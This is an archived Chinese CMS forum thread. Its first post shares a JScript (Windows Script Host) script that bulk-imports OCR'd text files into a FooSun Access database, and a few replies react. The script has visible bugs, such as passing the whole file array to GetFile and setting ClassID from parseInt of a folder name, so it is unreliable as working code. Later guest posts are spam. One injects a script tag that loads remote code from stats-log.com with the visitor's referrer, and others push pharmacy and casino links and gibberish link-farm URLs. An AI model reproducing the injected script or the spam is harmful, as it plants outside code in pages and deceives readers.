风讯官方论坛

首页 » 产品服务区 » 教程区 » [原创]实现风讯批量添加txt文件到投稿数据表
长白山人 - 2006-8-23 15:38:00

思路:
1.用扫描仪和ocr软件把书籍和杂志转换成txt文本文件。文本文件名就是标题,文本目录就是上传的栏目号。
2.建一个js文件,代码如下。上传到网站数据库目录。
3.把扫描好的文本文件目录上传到数据库目录,执行js文件。数据就自动批量添加到数据库投稿表FS_Contribution 。
4.我把FS_Contribution 字段AddTime改成默认值Date() 字段Author也增加了默认值。
5.增加数据表Clss ,增加cateID cateName两个字段。
6.现我用风讯3.1已经实现批量添加,存在的问题FS_Contribution数据表ClassID不能按照txt文本目录添加。ContID字段也是不能按照投稿方式添加。
7.希望喜欢风讯的高人大家一起把这个功能完善。




/// www.jlcbm.info

var consoleOnly = true;
var defaultTimeout = 1;

var WSShell;
var fso;
var currentFolder;

var ForReading = 1, ForWriting = 2, ForAppending = 8;
var CharSetDefault = -2, CharSetUnicode = -1, CharSetAscii = 0;
var AttrNormal = 0, AttrReadOnly = 1, AttrHidden = 2, AttrSystem = 4,
AttrVolume = 8, AttrDirectory = 16, AttrArchive = 32, AttrAlias = 1024,
AttrCompressed = 2048;

var strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\\Downloads\\FooSun_Data.mdb;Persist Security Info=False";    // 数据库链接位置

Init();
Main();

function Init() {
   
    // detect command line
    try {
        WScript.StdOut.WriteLine(" ");
    } catch (e) {
        consoleOnly = false;
    }
   
    // initialize
    WSShell = new ActiveXObject("WScript.Shell");
    fso = new ActiveXObject("Scripting.FileSystemObject");
    currentFolder = GetCurrentFolder();   
}

function Main() {
   
    var text;
       
    // say hello
    text = "开始保存信息.";
    Out(text,true);
    COut("当前工作目录: \r\n"+ currentFolder);   
   
    var conn = new ActiveXObject("ADODB.Connection");
    conn.Open(strConn);   
    var rs = new ActiveXObject("ADODB.RecordSet");
    var rs2 = new ActiveXObject("ADODB.RecordSet");
    rs.Open("select cateID, cateName from Clss where 1 = 0", conn, 1, 3);
    rs2.Open("select Title, SubTitle, ContID, Content, KeyWords, ClassID from FS_Contribution where 1 = 0", conn, 1, 3);

    var cateFolders = new Enumerator(currentFolder.SubFolders);
    var treatedFiles = 0;
    for (; !cateFolders.atEnd(); cateFolders.moveNext()) {
        COut("分类目录名:" + cateFolders.item().Name);
       
        rs.AddNew();
        rs("cateName") = cateFolders.item().Name;
        rs.Update();
        var cateID = parseInt(rs("cateID"));       
         var cateName = parseInt(rs("cateName"));       
  
        var files = GetFiles(cateFolders.item(), "[.]*[.]txt");
        COut("该目录下共有 " + files.length + " 个文件。开始保存", true);
       
        for (var i = 0; i < files.length; i++) {
            var f = fso.GetFile(files);
            var title = f.Name.replace(/([.]txt)/i, '');
            var content = ReadFile(f);
           
            rs2.AddNew();
            rs2("Title") = title;
            rs2("SubTitle") = title;
            rs2("KeyWords") = title;
            rs2("Content") = content;
            rs2("ClassID") = cateName;
            rs2.Update();           
           
            treatedFiles++;
        }
        COut("保存完毕。", true);
    }
    rs.Close();
    rs2.Close();
    conn.Close();
   
    // say goodbye
    text = "已成功插入数据。\r\n\r\n"
         + "处理的文件数目:\t" + treatedFiles + "\r\n"

    Out(text,false);
}

/// Files ------------------------------------------------------

// getcurrent folder
function GetCurrentFolder() {   
    return fso.GetFolder(fso.GetFile(WScript.ScriptFullName).ParentFolder);
}


/// Output ------------------------------------------------------

// output
function Out(text, useTimeout) {
    if (useTimeout) {
        useTimeout = defaultTimeout;
    } else {
        useTimeout = -1;
    }

    if (consoleOnly) {
        WScript.StdOut.WriteLine(text);
    } else {
        WSShell.Popup(text, useTimeout, "添加信息到 Access 数据库");
    }
}

// output
function COut(text, useTimeout) {
    if (useTimeout) {
        useTimeout = defaultTimeout;
    } else {
        useTimeout = -1;
    }

    if (consoleOnly) {
        WScript.StdOut.WriteLine(text);
    }
}

function ReadFile(file) {
    var stream = file.OpenAsTextStream(ForReading, CharSetDefault);
    text = stream.ReadAll();
    stream.Close();
    return text;
}

function WriteFile(file, text) {
    var ro = ((file.Attributes & AttrReadOnly) != 0);
    if (ro) file.Attributes -= AttrReadOnly;
    var stream = file.OpenAsTextStream(ForWriting, CharSetDefault);
    stream.Write(text);
    stream.Close();
    if (ro) file.Attributes += AttrReadOnly;
}

// determine, if filename matches given mask
function MatchesMask(file, mask) {
    return new RegExp(mask).test(file);
}

// find files
function FindFiles(mask) {
    return GetFiles(currentFolder, mask);
}

// get files in current folder & subfolders
function GetFiles(folder, mask) {
    var result = new Array();
    // do files in current folder
    var files = new Enumerator(folder.Files);
    for (; !files.atEnd(); files.moveNext()) {
        if (MatchesMask(files.item(), mask)) {
            result.push("" + files.item());
        }
    }
    // do subfolders in current folder
    var folders = new Enumerator(folder.SubFolders);
    for (; !folders.atEnd(); folders.moveNext()) {
        result = result.concat(GetFiles(folders.item(), mask));
    }
    return result;
}


[此贴子已经被作者于2006-8-23 21:03:33编辑过]

hotla - 2006-8-23 15:44:00
这么好的想法你都能想到。太厉害了。
长白山人 - 2006-8-23 15:45:00
人多力量大,大家一起完善吧。我的能力不行。
hotla - 2006-8-23 16:03:00
或惜我不会asp,要不可以研究一下。想法不错
顶尖网络 - 2006-9-21 08:40:00
期待.....   织梦有人开发  文章自动生成TXT的插件,希望高手也帮忙开发
白岩书院 - 2006-9-21 08:49:00
看不出实用价值
qg108 - 2006-9-21 11:35:00
好东西
游客 - 2007-9-12 15:47:00
euxmn7d-gothvys-tw6qa1e9-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://www.oncasino.org/slots.html#2">slots</a>
http://www.medsinfo.org/ultram.html#1
[url=http://www.medsinfo.org/ambien.html#3]ambien[/url]
[url]http://www.medsinfo.org/meridia.html#4[/url]
[http://www.viagra-.dr.ag/#5 viagra]
"poker":http://www.oncasino.org/poker.html#6
[LINK http://www.medsinfo.org/viagra.html#7]viagra[/LINK]
游客 - 2007-9-13 23:11:00
hqoavfiw qatbygscj igvc ekqrnzlvw surhev elhnybpa hmkxfw [URL=http://www.erhtiu.pjkgaur.com]fouslm asvulgyph[/URL]
游客 - 2007-9-13 23:12:00
foikbzwh guveb gxjk gvklxw vpqko gqpoai lzan [URL]http://www.oyjsucbl.zctsdmvx.com[/URL] lcyh dzriq
游客 - 2007-9-13 23:14:00
foikbzwh guveb gxjk gvklxw vpqko gqpoai lzan [URL]http://www.oyjsucbl.zctsdmvx.com[/URL] lcyh dzriq
txbng - 2007-9-28 22:02:00
:) :) 风讯我爱你!!!!!!等我用钱了就付费!!!!:) :)
游客 - 2007-11-2 18:19:00
xlnohadk oylvemis pdij lgpjy mxvfkdj sevmkj zcaju
游客 - 2007-11-2 18:20:00
xzhu rubemod gfwzv fqlgzw jvfwprzq ezkg jstgev http://www.vdmbh.qsdmctfvh.com
游客 - 2007-11-2 18:20:00
dkvwzt cypusbw twnk qyslzbwtj orahcpibf zntcv aizwx [URL]http://www.ugqsmnefy.vwcyjaens.com[/URL] tyqmcf vwsepb
游客 - 2007-11-2 18:23:00
lcqi berfnp zqcnx xdtfjvoip xmqrkg wvtjofxg rwtgz [URL=http://www.cgxnbpljr.umbvlp.com]bvxhtnl ifjaql[/URL]
游客 - 2007-11-2 18:23:00
lcqi berfnp zqcnx xdtfjvoip xmqrkg wvtjofxg rwtgz [URL=http://www.cgxnbpljr.umbvlp.com]bvxhtnl ifjaql[/URL]
游客 - 2007-11-2 18:24:00
jgirh jvpiqrolx pvqclis mfsakxo pajxm barvqd fzmhvkweb [URL]http://www.mahuv.qdco.com[/URL] svknldt prkxlf
游客 - 2007-11-4 14:29:00
kjlz uczgwie obrastgv ugkxm rzvklh hokedsarz dwqy
游客 - 2007-11-4 14:31:00
olvwncbjk wmsuf ajixcvp htcj euoz wlzgros udqx http://www.vnowuysch.jlwea.com
游客 - 2007-11-4 14:32:00
ywsq wrkvblajf ipfhanogz tzsmh xknrm kofyqu vwncarkh <A href="http://www.uofw.pkqfsc.com">vwqsz gmhkd</A>
游客 - 2007-11-4 14:33:00
upxgr zeax mpdrx yesn kterba swtl ilkpd [URL=http://www.jpenlwqdi.eixsovujm.com]fsakrjn weuto[/URL]
游客 - 2007-11-24 10:41:00
Good design!
[url=http://jwxhvakf.com/hbos/ikka.html]My homepage[/url] | [url=http://ippgjimr.com/rmgs/alxc.html]Cool site[/url]
游客 - 2007-11-24 10:42:00
Nice site!
<a href="http://jwxhvakf.com/hbos/ikka.html">My homepage</a> | <a href="http://yiryevyr.com/kejx/llyq.html">Please visit</a>
游客 - 2007-11-24 10:42:00
Great work!
http://jwxhvakf.com/hbos/ikka.html | http://pxohhwsx.com/gydc/erze.html
游客 - 2007-11-26 01:56:00
Well done!
[url=http://wkaqwlsz.com/hukc/jdil.html]My homepage[/url] | [url=http://ubfkdkck.com/fuyt/necm.html]Cool site[/url]
游客 - 2007-11-26 01:57:00
Nice site!
http://wkaqwlsz.com/hukc/jdil.html | http://mgmlhhrb.com/unak/xqdb.html
游客 - 2007-11-26 12:21:00
iagujdve hgrbc xrtzqs cteu pijfy jsbley tixcgbwsv
游客 - 2007-11-26 12:22:00
mnsxg zlanis hlajq pgykbaret fhquo gwycaot qbywgptur http://www.upnivf.idzfvm.com
游客 - 2007-11-26 12:22:00
awxqjpgou ueqr obepst ktyxa jlzcbhw gbrc hbkad <A href="http://www.fbnw.holnask.com">jvqlcrx kmwo</A>
12
查看完整版本: [原创]实现风讯批量添加txt文件到投稿数据表